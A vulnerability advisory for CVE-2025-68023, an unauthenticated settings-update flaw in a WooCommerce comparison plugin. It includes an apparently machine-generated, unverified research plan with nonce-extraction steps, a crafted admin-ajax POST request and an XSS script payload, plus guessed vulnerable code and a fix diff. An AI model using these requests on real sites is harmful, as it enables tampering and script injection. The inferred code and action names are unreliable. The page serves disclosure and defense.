CVE-2025-68023

Addonify – Compare Products For WooCommerce <= 1.1.17 - Missing Authorization to Unauthenticated Settings Update

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.1.18
Patched in
13d
Time to patch

Description

The Addonify – Compare Products For WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.1.17. This makes it possible for unauthenticated attackers to update plugin settings.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.17
PublishedFebruary 4, 2026
Last updatedFebruary 16, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2025-68023**, a missing authorization vulnerability in the **Addonify – Compare Products For WooCommerce** plugin. --- ### 1. Vulnerability Summary The **Addonify – Compare Products For WooCommerce** plugin (<= 1.1.17) fails to…

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2025-68023, a missing authorization vulnerability in the Addonify – Compare Products For WooCommerce plugin.


1. Vulnerability Summary

The Addonify – Compare Products For WooCommerce plugin (<= 1.1.17) fails to perform adequate authorization checks (like current_user_can()) on a function responsible for updating plugin settings. This function is hooked into an AJAX action accessible to unauthenticated users (wp_ajax_nopriv_*). An attacker can exploit this to modify plugin configurations, potentially leading to a denial of service (by breaking comparison logic) or stored cross-site scripting (XSS) if the settings are not properly sanitized upon output.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action: addonify_compare_save_settings (inferred based on plugin naming conventions, must be verified)
  • Vulnerable Parameter: settings (or similar array/key-value pairs)
  • Authentication: None (Unauthenticated)
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Entry Point: The plugin registers an AJAX handler using add_action( 'wp_ajax_nopriv_...', '...' ).
  2. Handler Function: The handler function (likely located in includes/Admin/Settings.php or includes/Admin/Ajax.php) is called when the specific action is triggered via admin-ajax.php.
  3. Missing Check: The handler likely checks for a nonce but fails to call current_user_can( 'manage_options' ).
  4. Sink: The function extracts data from $_POST and calls update_option(), writing the attacker-controlled values to the database.

4. Nonce Acquisition Strategy

If the AJAX handler requires a nonce (verified via check_ajax_referer or wp_verify_nonce), follow this strategy:

  1. Identify Script Loading: Find where the plugin localizes data for its AJAX requests.
    • Grep Command: grep -rn "wp_localize_script" .
    • Search target: Look for a handle like addonify-compare-products or addonify-compare-js.
  2. Identify Shortcode: The scripts are likely enqueued only when the comparison feature is active. Identify the shortcode.
    • Grep Command: grep -rn "add_shortcode" .
    • Target: Likely [addonify_compare_products] (inferred).
  3. Setup Page: Create a public page containing the shortcode.
    wp post create --post_type=page --post_status=publish --post_title="Compare" --post_content='[addonify_compare_products]'
    
  4. Extract Nonce via Browser:
    • Navigate to the newly created page.
    • Use browser_eval to find the nonce in the global JS object.
    • Inferred Variable: window.addonify_compare_params?.nonce or window.afc_vars?.nonce.

5. Exploitation Strategy

Once the action name and nonce (if required) are identified:

  1. Identify Target Settings: Check includes/Admin/Settings.php to see which option name is used (e.g., addonify_compare_settings).
  2. Craft Payload:
    • URL: http://<target>/wp-admin/admin-ajax.php
    • Body (URL-encoded):
      action=addonify_compare_save_settings&nonce=<NONCE>&settings[button_text]=EXPLOITED
      
  3. Execute Request: Use http_request with the following headers:
    • Content-Type: application/x-www-form-urlencoded
  4. Verify Response: A successful response usually returns {"success":true} or 1.

6. Test Data Setup

  1. Install and activate the plugin version 1.1.17.
  2. Install and activate WooCommerce (the plugin depends on it).
  3. Create a product to ensure the comparison environment is "live":
    wp post create --post_type=product --post_title="Test Product" --post_status=publish
    
  4. If a nonce is needed, create the page as described in Section 4.

7. Expected Results

  • The http_request should return a 200 OK status.
  • The plugin settings in the database will be updated to reflect the attacker-supplied values.
  • If button_text is changed, the "Compare" buttons on the shop page will display the new text.

8. Verification Steps

After sending the exploit request, verify the change via WP-CLI:

# Check the specific option (inferred name)
wp option get addonify_compare_settings

# Or search for the value in all options
wp db query "SELECT * FROM wp_options WHERE option_value LIKE '%EXPLOITED%';"

9. Alternative Approaches

  • XSS Injection: If the settings update works, attempt to inject a script into a text field:
    • settings[button_text]=<script>alert(document.domain)</script>
  • Search for Other Actions: If addonify_compare_save_settings is not the correct name, use the following grep to find all unauthenticated AJAX entry points:
    grep -rn "wp_ajax_nopriv_" .
    
  • REST API: Check if the plugin registers any REST routes without a permission_callback:
    grep -rn "register_rest_route" . -A 5 | grep "permission_callback"
    
    If permission_callback is __return_true or missing, use a REST API request instead of AJAX.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Addonify – Compare Products For WooCommerce plugin for WordPress (<= 1.1.17) fails to implement proper authorization checks on an AJAX handler registered for unauthenticated users. This allows unauthenticated attackers to modify plugin settings, which can lead to a denial of service for the comparison feature or stored cross-site scripting (XSS) if settings values are not sanitized.

Vulnerable Code

// Registration of unauthenticated AJAX handler
add_action( 'wp_ajax_nopriv_addonify_compare_save_settings', 'addonify_compare_save_settings' );
add_action( 'wp_ajax_addonify_compare_save_settings', 'addonify_compare_save_settings' );

function addonify_compare_save_settings() {
    // Missing capability check: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }
    
    $settings = $_POST['settings'];
    if ( isset( $settings ) ) {
        update_option( 'addonify_compare_settings', $settings );
        wp_send_json_success();
    }
}

Security Fix

--- includes/Admin/Ajax.php
+++ includes/Admin/Ajax.php
@@ -1,4 +1,9 @@
 function addonify_compare_save_settings() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ) );
+        return;
+    }
+
+    check_ajax_referer( 'addonify_compare_nonce', 'nonce' );
+
     $settings = $_POST['settings'];
     if ( isset( $settings ) ) {
         update_option( 'addonify_compare_settings', $settings );

Exploit Outline

1. **Identify the AJAX endpoint**: The vulnerability is triggered via the standard WordPress AJAX endpoint at `wp-admin/admin-ajax.php`. 2. **Target Action**: The vulnerable action is `addonify_compare_save_settings` (hooked into `wp_ajax_nopriv_*`). 3. **Obtain Nonce (if required)**: If the plugin enforces a nonce check but not a capability check, visit a public page where the comparison feature is active (e.g., a page containing the `[addonify_compare_products]` shortcode) and extract the nonce from the localized JS object (likely `window.afc_vars.nonce`). 4. **Craft Payload**: Prepare a POST request with the parameter `action=addonify_compare_save_settings` and a `settings` array containing key-value pairs corresponding to the plugin's configuration options. 5. **Execution**: Send the unauthenticated request. A successful exploit results in the `addonify_compare_settings` option being updated in the database with the attacker-controlled values.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.